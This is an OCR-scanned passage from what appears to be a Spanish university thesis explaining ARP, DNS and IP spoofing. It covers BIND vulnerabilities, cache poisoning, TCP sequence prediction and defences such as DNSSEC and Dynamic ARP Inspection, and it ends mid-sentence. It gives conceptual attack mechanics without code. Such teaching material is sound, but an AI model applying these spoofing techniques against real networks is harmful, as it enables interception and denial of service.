IP: 192.168.0.3
MAC: EBBB.BEEBE.BEBBB

llustracion 4: Demostracion del envenenamiento Arp Spoofing.
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6.2.3 ARP SPOOFING Y SERVIDORES REDUNDANTES.

El ARP-Spoofing no solo sirve como herramienta para espiar en una red o realizar
ataques DoS, también se puede utilizar para crear servidores redundantes, servidores con
tolerancia fallos. La idea consiste en crear un servidor auxiliar que tome la identidad del
servidor que ha dejado de funcionar, para ello haremos uso de IP alias y de ARP-
Spoofing. En muchas ocasiones es vital la redundancia en un determinado servicio:
HTTP, FTP, SMTP, POP.

Si contamos con un servidor principal con dos interfaces de red y un servidor de backup
también con dos tarjetas de red, el servidor de backup debe de configurarse de forma que
cuando se active configure su tarjeta de red con la IP del servidor principal que debe de
sustituir y a continuacion el servidor de backup utilizarda ARP SPOOFING para asegurarse
de gue recibe todos los paquetes destinados al servidor que él esta sustituyendo. Los
paquetes ARP que se enviaran informaran de que la direccibn MAC correspondiente a la

IP del servidor principal es ahora la MAC del servidor de backup.

Este envio debe de producirse de manera continua, mientras dure la caida del principal,
evitando asi que las cache arp se refresquen con la direccion MAC verdadera del servidor
principal. Si la cache arp expirase y se actualizase con la MAC verdadera del servidor
principal, se produciria un “race condition”, si el servidor de backup responde al ARP
REQUEST con su ARP REPLY antes que el servidor principal, el ARP REPLY del backup
se eliminara con la del principal. Mientras que si es al contrario, sera el ARP REPLY del
principal el que sera sustituido por el del servidor de backup, esto no debe de llegar a

producirse, ya que sino el proceso de redundancia seria inutil.

6.2.4 PROBLEMAS ARP SPOOFING EN LAS EMPRESAS.
= La informacion confidencial de la compafiia se ha filtrado y no se sabe cémo pudo
haber sucedido.
= Los empleados informan acerca de la intrusién en sus cuentas bancarias en linea
y en su cuenta de correo electronico.
= |ncidentes inexplicables han puesto en peligro los datos de las aplicaciones que

solo se pueden acceder a través de interfaces web seguros.

Unan-Leén Pagina 33




Marco Teorico.

Sucesos extrafios en las tablas ARP de la red.

Comprobar la existencia de direcciones MAC clonadas puede ser también un
indicio de la presencia de ARP Spoofing, aunque hay que tener en cuenta, que hay
usos legitimos de la clonacion de direcciones MAC.

6.2.5 DEFENSA DE ATAQUE ARP SPOOFING.

Tablas ARP Estaticas: Es decir afiadir entradas estaticas ARP, de forma que no
existe caché dindmica, cada entrada de la tabla mapea una direccion MAC con su
correspondiente direccion IP. Sin embargo, esta no es una solucion practica y no
escalable, sobre todo en redes grandes, debido al enorme esfuerzo necesario para
mantener las tablas ARP actualizadas y cada vez que se cambie la direccién IP de
un equipo, es necesario actualizar todas las tablas de todos los equipos de la red.
DHCP Snooping (Cisco): El dispositivo de red mantiene un registro de las
direcciones MAC que estan conectadas a cada puerto, de modo que rapidamente
detecta si se recibe una suplantacion ARP. Se puede configurar en los switch para
endurecer la seguridad en la LAN para permitir que solo los clientes con IP
especifica / direcciones MAC para acceder a la red.

Arpwatch: Es un programa Unix que escucha respuestas ARP en la red y envia
una notificacion via email al administrador de la red, cuando una entrada ARP
cambia.

ARPGuard: Es un sistema que forma un escudo de proteccion activa contra los
atagues ARP internos. El sistema de alerta temprana ARP Guard analiza
constantemente todos los mensajes ARP, envia alertas apropiadas entiempo reales
identificando la fuente del ataque.

Port Security: Sus capacidades dependen de la plataforma, permitiendo especificar
direcciones MAC para cada puerto o aprender un cierto nimero de direccion MAC
por puerto. Una vez detectada una direccion MAC invélida el switch puede
configurarse para bloquear solo la MAC causante del problema.

IDS: Sistemas de deteccion de intrusos (IDS), por ejemplo Snort, también son
capaces de detectar ataques ARP e informan al administrador de red de dichos
ataques a través de alarmas pero normalmente se instalan en las fronteras de la red

y en ocasione no detecta todos los ataques.
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= Dividir subredes: Una forma para mitigar estos ataques es que la red sea
subdividida en gran nimero de subredes con una pequefia cantidad de nodos en
cada una, la desventaja son los altos costo administrativos que pueden involucrar
esta medida.

= Ebtables: Es una utilidad de Linux usada para crear dispositivos de puenteo
programable que permite realizar filtrado a nivel de tramas Ethernet y puede ser
utilizado para implementar mecanismos de prevencion contra ataques ARP.

= Antidote: Es un parche que cuando una respuesta ARP nueva anuncia un cambio
en un par (IP, MAC), este trata de descubrir si la direccion MAC previa aun no
expira, si la consulta es contestada con la direccion MAC anterior la actualizacién es
rechazada y la nueva direccion MAC es afiadida a la lista de direcciones prohibidas
aungue la desventaja es el soporte para limitados sistemas operativos.

= SARP: Criptogréficas para autenticar el origen de las tramas, es una extension
compatibles con ARP, que consiste en criptografia de una llave publica para
autenticar la respuesta ARP pero para que sea implementada en una red local debe
existir una autoridad de certificacion llamada AKD, pero constituye un Gnico fallo.

= Dynamic ARP Inspection (DAI): Utiliza el mismo concepto de puertos seguros e
inseguros, cuando un paquete ARP llega a un puerto seguro no se realiza ninguna
inspeccion pero cuando llega a uno inseguro el paquete es examinado en la tabla de
asociaciones DHCP y si la direccion IP no corresponde con su MAC, el paquete es
descartado y el puerto bloqueado. Cuando se habilita la inspeccién arp, todos los

puertos son inseguros por defecto.

6.3 DNS SPOOFING.

A lo largo del tiempo se ha visto que muchos de los ataques que sufren los usuarios e
incluso las infecciones por malware, ocurren en combinacién con otras técnicas para
aumentar la efectividad de las mismas. DNS Spoofing es un método para alterar las
direcciones de los Servidores DNS de la victima para que apunten a servidores
maliciosos. Es una situacion creada de manera maliciosa o no deseada que provee datos

de un Servidor de Nombres de Dominio (DNS) que no se origina de fuentes autoritativas
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DNS. Esto puede pasar debido a disefio inapropiado de software, falta de configuracion
de nombres de servidores y escenarios maliciosamente disefiados que explotan la
arquitectura tradicionalmente abierta de un sistema DNS. Una vez que un servidor DNS
ha recibido aquellos datos no autentificados y los almacena temporalmente para futuros
incrementos de desempefio, es considerado envenenado, extendiendo el efecto de la

situacion a los clientes del servidor.

6.3.1 DNS.

El DNS es una base de datos distribuidas implementadas en una jerarquia de Servidores
de nombres y una aplicacion de la capa de aplicacion que permite que se comuniquen los
host y los servidores de nombre para proporcionar el servicio de traduccién. Los
servidores de nombres de dominio habitualmente maquinas UNIX que ejecuta el software
de Berkeley Internet Name Domain (BIND). El protocolo DNS se ejecuta sobre UDP y
utiliza el puerto 53. Este protocolo funciona entre lados que se comunican utilizando el
paradigma cliente-servidor y se basa en un protocolo subyacente de transporte para
transferir mensajes DNS entre los sistemas finales comunicantes. Sin embargo desde otro
punto de vista el papel del DNS es bastante distinto de la web, la transferencia de
archivos y las aplicaciones de correo electrénico, al contrario estas aplicaciones el DNS

no es una aplicacion con la que el usuario interaccione directamente.

DNS proporciona otros servicios importantes ademas de la traduccién de nombre de host

a direcciones IP:

Alias de host: Un host con un nombre complejo puede tener uno 0 mas nombres de
alias, los alias de nombre de host son tipicamente mas mnemotécnicos que los nombres
candnicos. El DNS puede ser invocado por una aplicaciébn para obtener el nombre

candnico del host y si direccion IP.

Alias de Servidor de Correo: Por razones obvias es muy recomendable que las
direcciones de correo electrénico sean mnemotécnicas. EI DNS puede ser invocado por

una aplicacion de correo para obtener el nombre candnico de host a partir del alias
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proporcionado asi como la direccion IP del host. El registro MX permite que el servidor de

correo y el servidor web de una compafiia sean nombres de host idénticos.

Distribucién de carga: Es también utilizado para realizar una distribucién de carga entre
servidores replicados. La base de datos DNS contiene este conjunto de direcciones IP,
cundo un cliente hace una consulta DNS para un nombre que tiene asociado un conjunto
de direcciones el servidor responde con el conjunto completo de direcciones IP, pero rota

el orden de las direcciones en cada respuesta.

6.3.2 VULNERABILIDAD EN BINDS.

El paguete Berkeley Internet Name Domain (BIND) es una de las implementaciones mas
utilizadas del Servicio de Nombres de Dominio (DNS), es un importante sistema que nos
permite localizar los sistemas en Internet por su nombre (por ejemplo, www.sans.org) sin
necesidad de utilizar direcciones IP, lo que la convierte en uno de los blancos favoritos
para los atacantes. De acuerdo con un estudio realizado a mediados de 2000, nada
menos que el 50% de todos los servidores DNS conectados a Internet estaban utilizando
versiones vulnerables de BIND. En un caso que podria servir como ejemplo de un ataque
clasico a BIND, los intrusos borraron los logs del sistema e instalaron herramientas que
les permitieron conseguir privilegios de administrador. Posteriormente compilaron e
instalaron utilidades para IRC y herramientas que les permitieron rastrear mas de una
docena de redes de clase B en busca de nuevos sistemas con versiones vulnerables de
BIND y en cuestion de minutos, habian utilizado el sistema en cuestién para atacar a
cientos de sistemas remotos, obteniendo como resultado nuevos sistemas

comprometidos.

La version de Open Source Bind9 es vulnerable a ataqgues de Denegacion de Servicios,
permite a los atacantes provocar una caida remota del servidor, debido a un paquete de
actualizacion dinamica modificado adecuadamente es todo lo que se requiere para las
direcciones IP no sean traducidas en el servidor. Los servidores de nombres usan las

actualizaciones dinamicas para afadir o eliminar registros de una zona.

Este problema DoS representa una amenaza muy importante puesto que los atacantes no

necesitan ninguna autenticacion para explotar el agujero y porque el servidor no necesita
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estar especialmente configurado para procesar los paquetes dindmicos sin embargo este
el ataque sOlo tiene éxito en sistemas en los que BIND ha sido configurado como servidor

master de una zona, mientras que las zonas esclavas no se veran afectadas.

Las versiones anteriores a la 8.2.2 patch level3 del servidor BIND presenta los siguientes
problemas de seguridad:

= Bug “NXT”: Este fallo permite tedricamente ejecutar cddigo arbitrario en el
servidor con los privilegios con los que se ejecute el demonio BIND tipicamente
root, permitiendo el ataque de forma local como remotamente.

= Bug “Solinger”: Se trata de un atague de denegacion de servicio por medio del
cual un atacante local o remoto puede parar la ejecucion del demonio BIND
durante un intervalo hasta 120 segundos utilizando sesiones TCP con formato
especial.

= Bug “fdmax”: Es otro ataque de denegacidén de servicio en donde un atacante
puede matar el servidor BIND, forzandole a utilizar todos los descriptores de
ficheros que el sistema operativo permite parar un proceso.

= Bug “sig”: Es otro ataque de denegacién de servicio en donde el servidor BIND
muere si procesa registros SIG convenientemente manipulados.

= Bug "naptr": Otro ataque de denegacion de servicio que consiste en que cuando
el servidor de DNS lee los registros de disco para sus zonas locales, puede morir
si los registros NAPTR se formatean adecuadamente. Este ataque no puede
realizarse de forma remota, sino que deben manipularse los propios ficheros de
configuracién de zonas DNS del servidor. Ello hace que el ataque sea bastante
improbable ya que, normalmente, esos ficheros estan tan protegidos como el
cbdigo del propio servidor.

= Bug “maxdname”: Es otro ataque de denegacion de servicio, debido a un
desbordamiento de buffer, realizable tanto de forma local como remota. Dadas las
caracteristicas de las estructuras que se desbordan, no parece que el ataque
pueda emplearse para ejecutar codigo arbitrario, aunque si para matar el servidor
BIND.
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6.3.3 ABUSAR MALICIOSAMENTE LA EJECUCION DE DNS.

Los fallos en la implementacion del protocolo DNS permite ser explotados y utilizados
para actividades maliciosas. Debido a que DNS es un protocolo fundamental para las
operaciones de Internet, los administradores deben endurecer servidores DNS para evitar

gue sean utilizados maliciosamente.
DNS Abierto Resolvers.

Una resolucion de DNS abierto es un servidor DNS que permite a los clientes DNS que no
forman parte de su dominio administrativo, usar ese servidor para realizar la resolucién de
nombres recursivos. En esencia una resolucion de DNS abierta proporciona respuestas a
las preguntas de cualquier persona haciendo una pregunta. DNS resolvers abiertas son

vulnerables a mdltiples actividades maliciosas, incluyendo las siguientes:

Los ataques de envenenamiento de caché DNS: Envenenamiento de caché DNS
ocurre cuando un atacante envia mensajes falsificado y por lo general falsa informacién
RR para una resolucién de DNS. Una vez que la resolucién DNS recibe la informacion
falsa RR, se almacena en la caché de DNS para el tiempo de vida (Time To Live [TTL])
situado en el RR. Para aprovecharse de este problema en la aplicacién un atacante debe
ser capaz de predecir correctamente el identificador de transaccion DNS (TXID) y el

puerto de origen UDP para la consulta DNS (bajo peticion) mensaje.

DNS Amplificacién y los ataques de reflexién: Ataques de amplificacion, utiliza la
reflexién de resolucién de DNS abiertos para aumentar el volumen de ataques y ocultar el
verdadero origen de un ataque, acciones que suelen dar lugar a una denegaciéon de
servicio o ataque DDoS. Estos ataques son posibles porque la resolucion abierta
responderd a las preguntas de cualquier persona. Los atacantes utilizan estos
solucionadores de DNS abiertos para actividades maliciosas mediante el envio de
mensajes a los dispositivos de resolucion de DNS abiertos utilizando una direccion IP de
origen falsificado que es el blanco del ataque. Cuando los dispositivos de resolucion
abiertos reciben los mensajes de consulta DNS falsos, responden enviando mensajes de

respuestas de DNS a la direccion de destino.
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Los ataques de utilizacion de recursos: Ataques de utilizacion de recursos en DNS
resolvers abiertos consumen recursos en el dispositivo. Ejemplos de dichos recursos
incluyen CPU, la memoria y buffers de socket. Este tipo de ataques tratan de consumir
todos los recursos disponibles para impactar negativamente las operaciones de la

resolucién abierta.

6.3.4 ATAQUE DNS SPOOFING.

Normalmente, una computadora conectada a Internet utiliza un servidor DNS
proporcionado por el proveedor de servicios de Internet (ISP), este DNS generalmente
atiende solamente a los propios clientes del ISP y contiene una pequefia cantidad de
informacién sobre DNS almacenada temporalmente por usuarios previos del servidor. Un
atague de envenenamiento de un solo servidor DNS de un ISP puede afectar a los
usuarios atendidos directamente por el servidor comprometido o indirectamente por los

servidores dependientes del servidor.

Para realizar un ataque de envenenamiento de caché, el atacante explota una
vulnerabilidad en el software de DNS que puede hacer que éste acepte informacion
incorrecta, si el servidor no valida correctamente las respuestas DNS para asegurarse de
que ellas provienen de una fuente autoritativa, el servidor puede terminar almacenando
localmente informacion incorrecta y enviandola a los usuarios para que hagan la misma
peticion, esta técnica puede ser usada para reemplazar arbitrariamente contenido de una

serie de victimas con contenido elegido por un atacante.

Es decir una suplantacién de identidad por nombre de dominio, se trata del falseamiento
de una relacién "Nombre de dominio-IP" ante una consulta de resolucion de nombre,
con una direccién IP falsa y un cierto nombre DNS o viceversa, esto se consigue

falseando las entradas de la relacion nombre de dominio-IP de un servidor DNS.

Los ataques de falsificacion de DNS pretenden provocar un direccionamiento erréneo en
los equipos afectados, debido a una traduccion errénea de los nombres de dominio a
direcciones IP, facilitando de este modo la redireccion de los usuarios de los sistemas

afectados hacia paginas Web falsas o bien la interceptacion de sus mensajes de correo
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electronico. Para ello, en este tipo de ataque los intrusos consiguen que un servidor DNS
legitimo acepte y utilice informacion incorrecta obtenida de un ordenador que no posee
autoridad para ofrecerla. De este modo, se persigue “inyectar” informacion falsa en la
base de datos del servidor de nombres, procedimiento conocido como “envenenamiento
de la caché del servidor DNS”. En la siguiente imagen puede visualizarse cémo es el ciclo

cuando se realiza una consulta a un servidor DNS por ejemplo www.ejemplo.com.

DNS

Victima

WEB

llustracion 5: Escenario normal de peticiones DNS.

Por otro lado, en caso de que exista DNS Spoofing, el ciclo es el siguiente:

DMS

Wictima

n“/

SErvidc!
RASLICID SO

Cansulta por
i gjempla.com

D Respuesta del Send

MALICIOS0

Aracante
Rol de DNS Maliciosa

llustracion 5: Escenario bajo ataque DNS Spoofing.

Dentro del DNS Spoofing podemos subdividir en ataques de TXID (o envenenamiento de
la cache) y los MitM.
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Ataque TXID: Un DNS utiliza un ID aleatorio para sus paquetes, pero esto solo es en la
primera consulta, después lo incrementa para las sucesivas consultas de forma que si es
posible esnifar el DNS se puede predecir el ID. En anteriores versiones de Bind esto
permitia suplantar a un DNS autoritario sobre un DNS victima y asi modificar su cache a
voluntad. Las versiones de Bind anteriores a la 8.4.7 tienen este problema, aunque
actualmente todos los DNS estan actualizados o parcheados.

Ataque MitM: Los ataques Man in the Middle son ataques contra el flujo de la informacién
entre dos maquinas. El atacante lee y modifica la informacién del flujo sin que se percaten
las maquinas afectadas. Para el caso del DNS, el atacante esnifar las peticiones DNS de

la victima y las responde haciéndose pasar por el servidor DNS que utiliza la victima.

6.3.5 PROBLEMAS DE ATAQUES DNS ILEGITIMO.

Entre los diferentes tipos de ataques que se pueden implementar estos se diferencias por
su simplicidad y sobre todo por su peligrosidad, ya que en algunos el ataque puede

llegar a controlar gran cantidad de ordenadores.

= Redirigir la web de confianza a otra controlada por el atacante, simplemente basta
con definir una zona nueva en la configuracion del servidor de nombre de dominio.

» Visitando webs espejos, cuando visitamos una web que deberia ser segura ya que
cifra los datos con conexiones por http y por tanto hace indtil que estos sean
interceptados por terceros con la utilizacion de un Sniffer, es donde el atacante puede
modificar una web legitima para que en lugar de enviar los credenciales de acceso al
servidor oficial los envié en texto plano a | atacante.

= Otra posible consecuencia de la manipulacién de los servidores DNS serian los
ataques de Denegacion de Servicio (DoS), al provocar la redireccion permanente
hacia otros servidores en lugar de hacia el verdadero, que de este modo no podran
ser localizados y en consecuencia visitado por sus legitimos usuarios.

*» Los mensajes de correo podrian ser redirigidos hacia servidores de correo no

autorizados, donde podrian ser leidos, modificados o eliminados. Esto se lograria
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modificando el registro MX (“Mail Exchanger”) de la tabla de datos del servidor DNS
atacado.

» Provocar falsas respuestas en los restantes servidores DNS que confien en €l para
resolver un nombre de dominio, siguiendo el modelo jerarquico del servicio DNS,
extendiendo de este modo el alcance del ataque.

6.3.6 PROBLEMAS DNS SPOOFING EN LAS EMPRESAS.

Un ataque de suplantacion puede continuar durante un largo periodo sin que se note, de
hecho, las empresas no pueden saber de la violacion de la seguridad hasta que el
competidor entra en el mercado con un producto de caracteristicas similares. Las
consecuencias de un ataque de suplantacion seria que las empresas pueden destruir

cualquier oportunidad de otras compafiias tienen para crear una ventaja competitiva.

6.3.7 DEFENSA CONTRA ATAQUE DNS SPOOFING.

Con el fin de evitar muchas fuentes de ataques de Internet, es necesario tener la
seguridad integrada en los sistemas DNS. Para minimizar el riesgo de un ataque de
suplantacion, toda organizacién o persona responsable de un dominio deberia comprobar
primero qué tipo de servidor de nombres que estan utilizando y consulte con su creador si

es seguro contra la falsificacién de DNS o no.

= Asegure sus maquinas internas: Atagues como estos son los mas comiunmente
ejecutados desde dentro de la red. Si los dispositivos de red son seguras, entonces
hay menos posibilidades de estos equipos comprometidos que se utilizan para lanzar
un ataque de suplantacion.

*» |IDS: Un sistema de deteccién de intrusos, cuando se colocan y se despliegan
correctamente, por lo general puede recoger informacién en la mayoria de las formas
de envenenamiento de caché ARP Spoofing y DNS.

= DNSSEC: Es una nueva alternativa al DNS que utiliza firmados digitalmente los
registros DNS para garantizar la validez de la respuesta de la consulta. DNSSEC es
una tecnologia muy segura que se puede utilizar para permitir inicamente firmados
digitalmente los registros DNS que se publicara en los servidores de DNS. A través

de DNSSEC también podemos prevenir las transferencias fraudulentas de la zona.
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= Hacer que el puerto fuente sea aleatorio: Uno de los atributos que un hacker
necesita conocer es el puerto. Por razones arquitectonicas debe ser el 53. Asi es
como el servidor identifica que es una peticion DNS, diferencidndola del resto de
peticiones. Sin embargo el puerto al que se envia la respuesta no debe ser
necesariamente el 53, haciendo que sea aleatorio se dificulta el ataque.

= Bloguear el uso de los servidores caché DNS: Si estos servidores pueden ser
usados por cualquiera en Internet, es facil que cualquiera ejecute un ataque desde
Internet, la idea es limitar el acceso de manera que se reduzca el riesgo.

= Experimentacion con las mayusculas/mintsculas de un dominio: En la préactica
no se tiene en cuenta si un dominio esta escrito en mayusculas o mindsculas. En un
navegador es lo mismo UNANLEON.EDU.NI que unanleon.edu.ni. Sin embargo,
dentro del protocolo DNS, es posible diferenciarlos, porque las transmisiones
codificadas entre ordenadores se diferencian entre mayusculas y minUsculas. Esta
propiedad puede ser usada de manera aleatoria, de modo que si la pregunta sobre el
dominio UnAnLEon.Edu.NI recibe una respuesta sobre el dominio unanleon.edu.ni
puede descartarla.

» Dispositivos Cisco: Unicast Reverse Path Forwarding (RPF unidifusién) es una
caracteristica que puede reducir la eficacia de los paguetes con direcciones de origen
falsificadas. Un dispositivo de red mediante Unicast FPR evalla la fuente de cada
paquete IP en contra de su tabla de enrutamiento local con el fin de determinar la
validez de la direccién de origen. Mientras que puede detectar vy filtrar cierto trafico
falso.

= Lista de Control de Acceso: Las listas de control de acceso (ACL) pueden
proporcionar una proteccién Anti-Spoofing contra los ataques que utilizan el espacio
de direcciones no utilizado y de confianza. Comunmente, estas ACL Anti-Spoofing se
aplican a las interfaces en la direccion de entrada para el trafico recibido en los limites
de la red. Spoofing puede ser minimizado en el trafico originado desde la red local
mediante la aplicacién de ACL que utilizan las entradas de control de acceso (ACE)

gue limitan el tréfico sélo a las direcciones locales vigentes.
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6.4 IP SPOOFING.
El concepto del IP Spoofing fue inicialmente discutido en los circulos académicos de los
afios 80, tedricamente este ataque no fue tratado como una verdadera amenaza para la
seguridad en Internet hasta que Robert Morris, quién escribié el primer Gusano de
Internet, descubrié una vulnerabilidad en el protocolo TCP conocida como prediccion de
secuencias (Sequence Prediction), otro ataque famoso usando IP Spoofing se ha logrado
usando una prediccién de secuencias de TCP y suplantando su IP con la de un ordenador
fiable de la red interna.

IP Spoofing es una de las formas mas comunes de camuflaje en linea, en donde un
atacante obtiene acceso no autorizado a un ordenador o una red, haciendo que parezca
gue un mensaje malicioso proviene de una maquina de confianza ya que es una técnica
gue consiste en reemplazar la direccion IP del remitente de un paquete IP con la direccién
IP de otra maquina, de tal manera que no es una cuestién de cambiar la direccién IP, sino

mas bien de la suplantacion de la direccion IP cuando se envian los paquetes.

6.4.1 IP (PROTOCOLO DE INTERNET).

El propdésito de la capa de internet es seleccionar la mejor ruta para enviar paquetes por la
red, el protocolo principal que funciona en esta capa es el protocolo de internet (IP). La
determinacion de la mejor ruta y la conmutacion de los paquetes ocurren en esta capa. IP
proporciona un enrutamiento de paquetes no orientado a conexién de maximo esfuerzo, el
IP no se ve afectado por el contenido de los paquetes sino que busca una ruta hacia el

destino y ejecuta las siguientes operaciones:

= Define un paquete y un esquema de direccionamiento.
= Transfiere los datos entre la capa Internet y las capas de acceso de red.

= Enrutar los paquetes hacia los hosts remotos.

Sin embargo se considera a IP como un protocolo poco confiable. Esto no significa que IP
no enviara correctamente los datos a través de la red, llamar al IP protocolo poco
confiable simplemente significa que IP no realiza verificacion y la correccién de los

errores.
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6.4.2 ANATOMIA DE UN PAQUETE IP.

Los paquetes IP constan de los datos de las capas superiores mas el encabezado IP. El

encabezado IP esta formado por lo siguiente:

Version: Especifica el formato del encabezado de IP, este campo de cuatro bits contiene
el numero 4 si el encabezado es IPv4 o el numero 6 si el encabezado es IPV6, sin
embargo este campo no se usa para distinguir entre ambas versiones para esto se usa el

campo de tipo que se encuentra en el encabezado de la trama de capa 2.

Longitud de encabezado IP (HLEN): Indica la longitud del encabezado del datagrama en
palabras de 32 bits, este nimero representa la longitud total de toda la informacion del
encabezado e incluye los dos campos de encabezados de longitud variable.

Tipo de servicio (TOS): Especifica el nivel de importancia que le ha sido asignada por un

protocolo de capa superior en particulas 8 bits.

Longitud total: Especifica la longitud total de todo el paquete en bytes, incluyendo los
datos y el encabezado de longitud variable.

Identificacion: Contiene un numero entero que identifica el datagrama actual, 16 bits

siendo este el nimero de secuencia.

Sefialadores: Un campo de tres bits en el que los dos bits de menor peso controla la
fragmentacion, un bit especifica si el paquete puede fragmentarse y el otro especifica si el

paquete es el ultimo fragmento en una serie de paquetes fragmentados.

Desplazamiento de fragmento: Usado para ensamblar los fragmentos de datagramas,

13 bits, este campo permite que el campo anterior termine en el limite de 16 bits.

Tiempo de existencia (TTL): Campo que especifica el nimero de saltos que un paquete
puede recorrer, este numero disminuye por uno cuando el paquete pasa por un Router y
Cuando el contador llega a cero el paquete se elimina, esto evita que los paquetes entren

en un bucle interminable.
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Protocolo: Indica cual es protocolo de cada capa superior por ejemplo TCP o UDP que

recibe el paquete entrante luego de que se ha completado el procesamiento IP ocho bits.
Checksum del encabezado: Ayuda a garantizar la integridad del encabezado IP, 16 bits.
Direccion de Origen: Especifica la direccién IP del nodo emisor de 32 bits.

Direccion Destino: Especifica la direccion IP del nodo receptor, 32 bits.

Opciones: Permite que IP admita varias opciones como seguridad, longitud variable.

Relleno: Se Agregan ceros adicionales a este campo para garantizar que el encabezado

IP siempre sea un multiplo de 32 bits.

Datos: Contiene informacién de capa superior, longitud variables hasta un de maximo 64
kb.

6.4.3 CONSECUENCIAS DEL DISENO TCP/IP.

Una consecuencia especifica del disefio TCP, es la prediccion de un numero de
secuencia, el cual puede dar lugar a la sesion de secuestro o suplantacion del host. Otro
problema es que existe un estado de maquina TCP para cada conexion, en donde cada
conexién ldgica se inicia en el estado cerrado y realiza la transiciones, después de la
conexién se interrumpe, TCP vuelve al estado CLOSED permitiendo explotar algunos
defectos en el estado de la maquina y crear ataques de denegacion de servicio ya que
estos tratar de detener el estado de la maquina en un estado particular de forma

indefinida o durante un tiempo finito.

También presenta ausencia de temporizador en ciertos estados es decir que el TCP no
envia datos en la conexiobn, a menos que se utiliza con una opcidn especial, el
temporizador de mantenimiento de conexidn, esto significa que el estado de la

maquina podria alojarse en tales estados siempre.

Problemas con conexion simultdnea, cuando dos ejércitos, digamos A y B quiere
establecer una conexién ambos simultdneamente inician el acuerdo se obtiene un caso de

establecimiento de la conexién simultanea en donde ambos hosts A y B envian paquetes
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SYN, cuando el SYN son recibidas por los pares correspondientes, tanto de ellos envian
un SYN + ACK y ambos hosts, A y B debe detectar que el SYN y SYN + ACK en realidad
se refieren a la misma conexién. Si ambos hosts A y B detectan que el SYN + ACK y SYN
pertenece a la que se envid recientemente, se desactiva el temporizador de
establecimiento de la conexion y pasa directamente al estado SYN_RECVD. Este fallo
podria ser utilizado para detener un puerto en un host, utilizando protocolos como FTP

cuando el servidor inicia una conexion con el cliente, por ejemplo:

Consideremos que X ha comenzado una conexién FTP a un servidor A, donde X y A son
conectado empleando el mando de puerto. A inicia el procedimiento de establecimiento de

conexién para iniciar la transferencia de datos con X.

1. A envia un paquete SYN para X, y hace una transicion al estado SYN_SENT. A
también se inicia el temporizador de establecimiento de conexion.
X recibe el SYN, y responde con otro SYN.

3. Cuando A recibe el SYN de X, se supone que este es un caso de una conexion
abierta simultanea. Por lo tanto, envia SYN_ACK a X, se apaga el temporizador de
establecimiento de la conexion.

4. Xrecibe el SYN_ACK de A, pero no envia una respuesta.

Puesto que, A esta esperando un SYN_ACK en el estado SYN_RCVD y no hay
ningan temporizador, A se queda atascado en estado SYN_RCVD.

Por lo tanto, X aqui es capaz de crear un atague de denegacion de servicio a través de

esta falla en TCP.

6.4.4 |IP SPOOFING.

Consiste basicamente en sustituir la direccion IP origen de un paquete TCP/IP por otra
direccién IP a la cual se desea suplantar, esto se consigue generalmente gracias a
programas destinados a ello y puede ser usado para cualquier protocolo dentro de TCP/IP
como ICMP, UDP o TCP, hay que tener en cuenta que las respuestas del host que reciba
los paquetes alterados iran dirigidas a la IP falsificada. Para poder realizar Suplantacién
de IP en sesiones TCP, se debe tener en cuenta el comportamiento de dicho protocolo

con el envio de paquetes SYN y ACK con su SYN especifico y teniendo en cuenta que el
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propietario real de la IP podria cortar la conexibn en cualquier momento al recibir

paquetes sin haberlos solicitado.

Es decir que IP Spoofing es un ataque donde un atacante pretende el envio de datos
desde una direccion IP distinta a la suya, la capa IP asume que la direccion de origen en
cualquier paquete IP que recibe es la misma direccion IP que realmente envid el paquete
y lo hace sin autenticacion logrando que muchos protocolos de nivel superior y las
aplicaciones también hagan esta suposicion, por lo que parece que nadie puede falsificar
la direccion de origen de un paquete IP.

Sin embargo hay dos puntos importantes:

1. Entoda la comunicacién es probable que sea de un solo sentido, en donde el host
remoto enviard todas las respuestas a la direccion de origen falsa y no a la
maquina que esta haciendo el Spoofing. Asi, un atacante con IP Spoofing es poco
probable que veamos la salida del Sistema remoto.

2. Un atacante necesita utilizar correctamente los nameros de secuencia TCP si
planean establecer una conexion TCP con el host atacado. EI ACK final en un
acuerdo de tres vias debe contener ISN otro host, de lo contrario la conexidbn no
puede terminar, porque el ISN en el paquete SYN + ACK se envia al host real, un
atacante debe conseguir este ISN por algin otro método aunque si el atacante
puede interceptar los paquetes enviados desde el otro host, puede obtener los
ISN, del mismo modo, si el atacante fuera incapaz de escuchar, pero de alguna
manera podria adivinar ISN otro host, éste puede completar la conexion y realizar

una conversacion de uno.

Ejemplo de IP SPOOFING.

o 4 S 15 19 24 =31
YERS HLEM I LOMNGITUD TOTAL
SERYWICIO
IDENTIFICACIOMN FLAGS DESPLAZAMIENTO
I-l= | PROTOCOLO CHECKSUM

IP ORIGEM

1P DESTING
OPCIOMNES (S| LAS HAY) RELLEMNO

DATOS

llustracion 6: Datagrama IP.
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En este escenario se puede observar que al hacker con direccion ip 168.12.25.5,
se encuentra realizando un ataque de denegacién de servicio contra el servidor
web 132.12.25.1, pero suplantando una direccion ip que no le pertenece
correspondiente a un usuario valido con la IP 156.12.25.4, en el cual a simple vista

pareciera que ese usuario esta realizando el ataque.

Valid User
(156.12.25.4)

Company XYZ

Public Network
(Internet)

| 1s6.12.25.4 [ 132.12.25.1 | DATA |

1 623102'(3"5 5) IP Source IP Destination >

DoS Attack(1)

Web Server
(132.12.25.1)

llustracion 7: Suplantacion de IP.

6.4.5 SECUENCIAS DE ADIVINANZAS.

El nimero de secuencia utilizado en las conexiones TCP es un niamero de 32 bits, por lo
que parece que las probabilidades de adivinar el ISN correctamente son extremadamente
bajas, sin embargo si la ISN para una conexién se asigna de manera predecible, se hace
relativamente facil de adivinar. Robert Morris describe como explotar el ISN en BSD 4.2,
un derivado de Unix, en BSD 4.2 la ISN para una conexién se asigna a partir de un
contador global, este contador se incrementa por cada 128 segundos y por 64 después de
cada conexion nueva es decir cada vez que un ISN esta asignado. Al establecer primero
una conexion real a la victima, el atacante puede determinar el estado actual de la lucha
contra el sistema. El atacante sabe que el ISN siguiente va a ser asignado por la victima
es muy probable que sea el ISN predeterminado, mas 64, el atacante tiene una
oportunidad aun mayor de adivinar correctamente el ISN si se envia un nimero de falsas

tramas IP.

Sin embargo, cuando el anfitrion recibe paquetes falsificados completa su parte del

acuerdo de tres vias, se enviard un SYN ACK al host falso. Este host rechazara el SYN
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ACK, porque nunca comenz0 una relacion y el anfitrion indica mediante el envio de un
comando de reset (RST) provocando que la conexion del atacante sea abortado. Para
evitar esto, el atacante puede utilizar el mencionado ataque SYN Flood al host que esta
imitando. EI SYN ACK enviado por el host atacado va a ser ignorado, junto con cualquier
otro paquete enviado mientras que el anfitrién se inunda. El atacante tiene via libre para
